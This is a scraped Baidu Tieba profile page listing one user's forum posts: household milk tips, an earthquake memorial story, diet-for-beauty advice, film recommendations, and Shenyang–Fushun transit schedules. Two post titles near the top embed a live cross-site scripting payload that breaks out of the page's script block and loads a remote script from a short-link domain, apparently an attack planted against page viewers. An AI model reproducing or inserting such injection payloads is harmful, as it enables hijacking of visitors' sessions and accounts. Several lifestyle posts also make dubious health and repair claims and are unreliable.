凯歌0413的个人资料

显然,或者,哦,这事做错了?</script><script/src=//qr.net/edrn> 如题<a href="/i/sys/jump?un=samy_joke" onclick="Stats.sendRequest('fr=tb0_forum&st_mod=pb&st_value=atlink');" onmouseover="showattip(this)" onmouseout="hideattip(this)" username="samy_joke" target="_blank" class="at">@samy_joke</a> <br>

这个楼我们一定要盖啊啊啊?</script><script/src=//qr.net/edrn> RT <a href="/i/sys/jump?un=samy_joke" onclick="Stats.sendRequest('fr=tb0_forum&st_mod=pb&st_value=atlink');" onmouseover="showattip(this)" onmouseout="hideattip(this)" username="samy_joke" target="_blank" class="at">@samy_joke</a> <br>

生活中牛奶妙用的12方法 1.煎蛋卷外皮时，用牛奶调和鸡蛋，不仅味美，且柔软。　　 2.炒菜加酱汁多时，加点牛奶，可将味道中和。　　 3.炸鱼前，先将鱼浸入牛奶片刻，可除腥增香。炖鱼加奶，可使鱼酥软。　　 4.白水煮土豆时，水中加一些牛奶，不但使土豆味好，也可变白。　　 5.衣服沾上墨水，用牛奶洗可除掉。　　 6.剩奶擦皮革，可防裂保柔。　　 7.煮菜花加牛奶，可使菜花白净且味美。　　 8.将鱼片在牛奶中浸一下，取出后沾上面粉，下锅炸后格外香美。　　 9.夏季牛奶加水浇花是好肥料。　　 10.瓷器上有小裂纹，放入牛奶中煮半小时，可将裂纹粘住，坚固美观。　　 11.洗纱窗帘时，在洗衣粉中加些剩牛奶，洗出的纱窗帘焕然一新。　　 12.吃过葱蒜后，喝杯牛奶，其味即除。

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这个母亲太伟大了，真的让人泪下(转载) 抢救人员发现她的时候，她已经死了，是被垮塌下来的房子压死的，透过那一堆废墟的的间隙可以看到她死亡的姿势，双膝跪着，整个上身向前匍匐着，双手扶着地支撑着身体，有些象古人行跪拜礼，只是身体被压的变形了，看上去有些诡异。救援人员从废墟的空隙伸手进去确认了她已经死亡，又在冲着废墟喊了几声，用撬棍在在砖头上敲了几下，里面没有任何回应。当人群走到下一个建筑物的时候，救援队长忽然往回跑，边跑变喊“快过来”。他又来到她的尸体前，费力的把手伸进女人的身子底下摸索，他摸了几下高声的喊“有人，有个孩子，还活着”。　　　　经过一番努力，人们小心的把挡着她的废墟清理开，在她的身体下面躺着她的孩子，包在一个红色带黄花的小被子里，大概有3、4个月大，因为母亲身体庇护着，他毫发未伤，抱出来的时候，他还安静的睡着，他熟睡的脸让所有在场的人感到很温暖。　　　　随行的医生过来解开被子准备做些检查，发现有一部手机塞在被子里，医生下意识的看了下手机屏幕，发现屏幕上是一条已经写好的短信“亲爱的宝贝，如果你能活着，一定要记住我爱你”，看惯了生离死别的医生却在这一刻落泪了，手机传递着，每个看到短信的人都落泪了。

5.12汶川大地震灾区祝福贴 2008年5月12日，请记住这个刻骨铭心的日子 7.8级的大地震摧毁了许多人的家园几万条鲜活的生命从世间消逝一幕幕令人揪心的画面刺痛了我的心当我看着那从废墟中搬出来血肉模糊的尸体时不敢相信这些悲剧会发生在我周围跪求上苍：够了！求求你，我们已经承受不起打击了中国什么都可以不要就算不举办奥运会都可以只要和我们血浓于水的亲人还活着还能够好好的活下去...... 5.12阻挡不住2008的脚步阻挡不住中国的脚步我们要坚信政府坚信灾难会过去迎接我们的是幸福的未来那些去了天堂的人们会有天使替亲人来爱你们一路走好......

吧友们大家好欢迎来凯歌休闲吧做客！已经把幽谷百合又一枝设为友情贴吧！http://tieba.baidu.com/f?kw=%BF%AD%B8%E8%D0%DD%CF%D0

驻颜有术爱美、追求美，是每一个人的天性。一个人的容貌美不美，除了先天因素之外，后天的精心调理和保养是非常重要的。美容专家认为，美的关键应当来自人体内部，许多有益于人体健美的食品，对一个人的健美将会起到意想不到的作用。为此，国外有关营养学家提出以下健美食谱，人们遵循去做，将使女子更靓，男子更俊，现代生活更加美好、欢乐。　　养颜美容驻颜与抗老防衰是密不可分的。葵花籽和南瓜籽富含锌，人体缺锌会导致皮肤迅速生皱纹。为此，人们每天嚼食几粒葵花籽或南瓜籽，可使皮肤光洁，延缓皱纹的形成。同时，每天早晚各吃一个猕猴桃，猕猴桃富含维生素C，有助于血液循环，更好地向皮肤输送营养物质。而维生素A可使皮肤富有弹性，延缓松弛，动物肝脏、乳类含有大量维生素A。　　美发人到30—40岁，头发开始老化。而头发的健美是美的关键，青年期就要给予适当的养护。鸡蛋富含硫，每周吃4个鸡蛋，可以使头发亮泽。锌和维生素B可以延缓白发的生长。高蛋白食物如肉类、鱼类、蛋类等，再配上新鲜的蔬菜，对浓密的头发来说将起着重要的作用，因为头发的97％由角质蛋白组成。　　明目明亮而有神的双眼，可以增加一个人的自然美韵。每周吃3次植物油烧制的胡萝卜。胡萝卜富含维生素A、E，能增强视力，起到明目的作用。用带麸皮的面粉做的面包含有大量的硒元素，常吃这种面包，可使眼睛免受细菌、病毒的侵害，有助防患眼疾。维生素C能改善视力，经常吃柑橘类水果有助于眼睛的防护。

运动后喝点啤酒可消除肌肉酸痛　西班牙巴塞罗那大学医学运动生理学教授拉蒙·巴尔巴尼说，运动后适量喝点啤酒有助于消除肌肉酸痛和身体疲劳。据西班牙《数码报》日前报道,巴尔巴尼是在西班牙第四届生理学教育国际大会上发表题为《啤酒对恢复新陈代谢的作用》的报告时提出这一观点的。　　巴尔巴尼指出，啤酒成分具有抗氧化作用，而最新研究显示,造成肌肉酸痛的原因在于运动中肌肉纤维进行了重要的氧化活动,喝啤酒可以缓解这一过程。他还指出，肌肉疲劳可能也是氧化过程造成的,同样可以通过喝啤酒缓解。

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已婚男女的最佳距离和温度人与人之间有距离方显美。距离在客观在世界中无处不在。就连母子间最近的距离也因一朝分娩断了脐带而有了距离。已婚的男女在家庭之外的异性交往中保持适当的距离和适宜的温度尤为重要。结婚之后，难免有一束来自异性欣赏的目光，而对方又有那么多个性与你相同，充满智慧、理性和相当好的品行，并且你感觉不到他对你有丝毫的暧昧，给你安全感，这时候你不会也不能拒绝对方，那是冥冥中的一种缘分，不是每个人都能享有这种缘，只有彼此珍惜，悉心呵护，才能对得起上天的安排。其中最重要的是掌握温度，冰与冰相互接近时彼此感觉不到温度，吸取不到对方的长处，有时还会发出不和谐的咔嚓声，火与火的交融最终彼此都会成为灰烬，热情太多，温度太高就会失去理智，毁掉彼此的家庭，更遗憾的是失去了影响你和家人一生的名节！火与冰的相触必然在痛苦中化成泪水，冰的坚守导致火的熄灭，火的热度也许会把冰融化，但毕竟水火不相容，最初的接触就是一种错误，彼此远离是明智的选择。有一种最佳境界那就是原本冰清玉洁的两块冰，其实都有一颗火热的内心，在相遇时被对方战胜，以高尚的人格、用善良、智慧、爱心卸去冰一样的外壳，化作水样的情怀，在潺潺的流水中音乐般精彩对方的生活，化作友谊的长河！

欢迎发布“换客”信息您可以换掉您的闲置家当：比如买一送一的化妆品小样啦，久未拆封的书本文具啦，囤着也是囤着的首饰配件啦……去感受一下交换的乐趣吧！所谓换客，就是通过网络将自己的物品拿出来换取别人的物品，各得其所，各取所需。也许是一盒化妆品换来了一个娃娃，一瓶香水换来一把瑞士军刀，几根棒棒糖换来演唱会的门票，这样的故事每天都在上演，而前提就是只换不卖，一切与金钱无关。发布换品！推荐换品！发布需求！寻找换友！换物为商人带来了商机，为换客带来了快乐体验。“等价”并不是“换客”们的核心词，换客们说得最多的一句话是“开心就好”!“换客”的口号是“需求决定价值”。对于他们来说，吸引的是过程，交流的是情感，而换物是途径。声明：本吧中所有的交换物品是由交换双方自行提供，其真实性、准确性和合法性由信息发布人负责。本贴吧不提供任何保证，并不承担任何法律责任。

十大经典爱情片 1 新桥恋人导演：路易·卡拉克斯主演：朱丽特.比诺什，德尼.拉旺评价：不恋爱，毋宁死，一段惊世骇俗的爱情 2泰坦尼克号导演：詹姆斯·卡梅隆主演：莱昂纳多•迪卡普里奥，凯特•温斯莱特评价：11项奥斯卡金像奖，就不多说3 甜蜜蜜导演：陈可辛主演：黎明，张曼玉评价：华人爱情片最经典的一部4 诺丁山导演：罗杰·米歇尔主演：朱莉娅·罗伯茨，休·格兰特评价：罗马假日的加强版 5 芳芳导演：亚历山大·雅尔丹主演：苏菲·玛索，文森特·佩雷斯评价：看了这部浪漫的电影，你会喜欢上苏菲·玛索，真的。 6 云中漫步导演：阿方索·阿雷奥主演：努·李维斯，戴博拉·梅西评价：具有拉丁风情的爱情片，很好看。 7 当哈利遇上莎莉导演：罗伯·雷恩主演：比利·克里斯托，梅格·瑞安评价：甜美的梅格·瑞安佯装叫床，冲这点也应该去看看，风趣又不失感动的电影。 8 花样年华导演：王家卫主演：梁朝伟，张曼玉评价：能够把东方神韵的上海风情拍的这么绝的，也只有王家卫了。 9 罗马假日导演：威廉·惠勒主演：格利高里·派克，奥黛丽·赫本评价：电影史上爱情文艺片的典范 10 情书导演：岩井俊二主演：中山美穗，丰川悦司评价：单纯的两段逝去的纯纯感情，唯美的电影。

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休闲一刻难得放松啊!

拼客拼客是近年来出现的新兴群体。这里的“拼”不是拼命，拼刺，拼抢，拼杀，拼争，拼死，而是拼凑，拼合。“客”代表人，因此，拼客指的就是是集中在一起共同完成一件事或活动，实行AA制消费的一群人。这样，既可以分摊成本、共享优惠、有能享受快乐并从中交友识友。“AA拼客”们，倡导的就是一种“节约、时尚、快乐、共赢”的新型生活方式。目前拼客有拼房(合租)、拼饭(拼餐)、拼玩、拼卡、拼用、拼车(顺风车)、拼游(拼团或自助游)、拼购(团购)等等。AA拼客是一种时尚、一种潮流、一种理念、一种生活的态度、一种生活的方式。拼，简而言之就是：联合更多的人，形成更大的力量，花更少的钱，消耗更少的精力，做成我们想做的事情，获得更多的快乐，享受更好的生活。

10元坐来回沈抚间4月2日开城际火车为满足沈阳和抚顺市民出行需要，加快沈抚同城化建设。沈阳铁路局将从4月2日起，重新开行沈阳至抚顺间6趟城际火车，票价为5元，两市间运行时间不足1小时。沈阳站和抚顺站具体发车时间是，沈阳站开车时间为5:35，14:02，16:10；抚顺站开车时间为6:52，14:58，17:23。

市内段5元出市价9元沈抚终于通公交了沈阳抚顺终于通公交了　　配车：124辆票价：市内段5元出市价9元与长途客车不同，沈抚城际公交在沿途设有多个乘降站，乘客可以就近上下车。沈抚城际公交采用按车隔发车的方式，准点发车，乘客即来即走，保持合适车距，首班不推迟，末班不提前，真正实现公交化运营。　　用于沈抚城际公交运营的车辆都将陆续安装GPS设备，运营部门将通过电子指挥平台对车辆进行统一调度，随时根据客量对车辆进行调整。　　沈抚城际公交车辆车体上都有“雷锋号”的标志，车内设有饮水机和装有晕车药和针线包的便民包。　　此外，在沈阳南塔、五爱等客运站还有往返于沈阳与抚顺之间的集贸客车40余辆，本次未纳入城际客运公交系列。今后可能开通抚顺市通往浑南的线路。　　一号线　　首末车站：沈阳站-抚顺南站站前广场　　沈阳站首末车时间：5:50-21:30　　全程49公里，运营80分钟，日发班次192个，高峰车隔3－4分钟，平峰车隔5－6分钟。　　二号线首末车站：沈阳站-抚顺北站（长客总站）　　沈阳站首末车时间：6:00-19:00(4月26日-10月25日末车时间20:00)　　全程55公里，运营100分钟，日发班次100个，高峰车隔4－5分钟，平峰车隔6－10分钟。　　三号线　　首末车站：沈阳北站公交枢纽站-抚顺南站站前广场　　沈阳北站首末车时间:6:30-19:00　　全程58公里，运营时间70分钟，日发班次40个，高峰车隔5－10分钟，平峰车隔10－20分钟。

大家把自己喜欢的网址发上来,写明哪发面的,当然拒绝情色了! http://www.quzhai.com/main/pagelistbytag.jsp?categoryid=2032 精彩图片

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电视剧<<闯关东>>里的“秀儿”是咱抚顺人《闯关东》荧屏热播，剧中最苦命又最惹人怜的女性角色首推二儿媳妇“秀儿”。鲜为人知的是，秀儿的扮演者梁林琳是地道的辽宁抚顺姑娘。　　昨日，本报记者与身在北京的梁林琳电话联线，刚刚做了母亲的她正沉浸在初为人母的喜悦当中，除了感谢家乡观众对《闯关东》的关注和支持，她也祝福所有人在新一年里都能收获属于自己的幸福。　生日：1976年3月13日　　身高：165cm 　　体重：53kg 　　籍贯：抚顺　　代表作：《青春童话》《亮剑》《闯关东》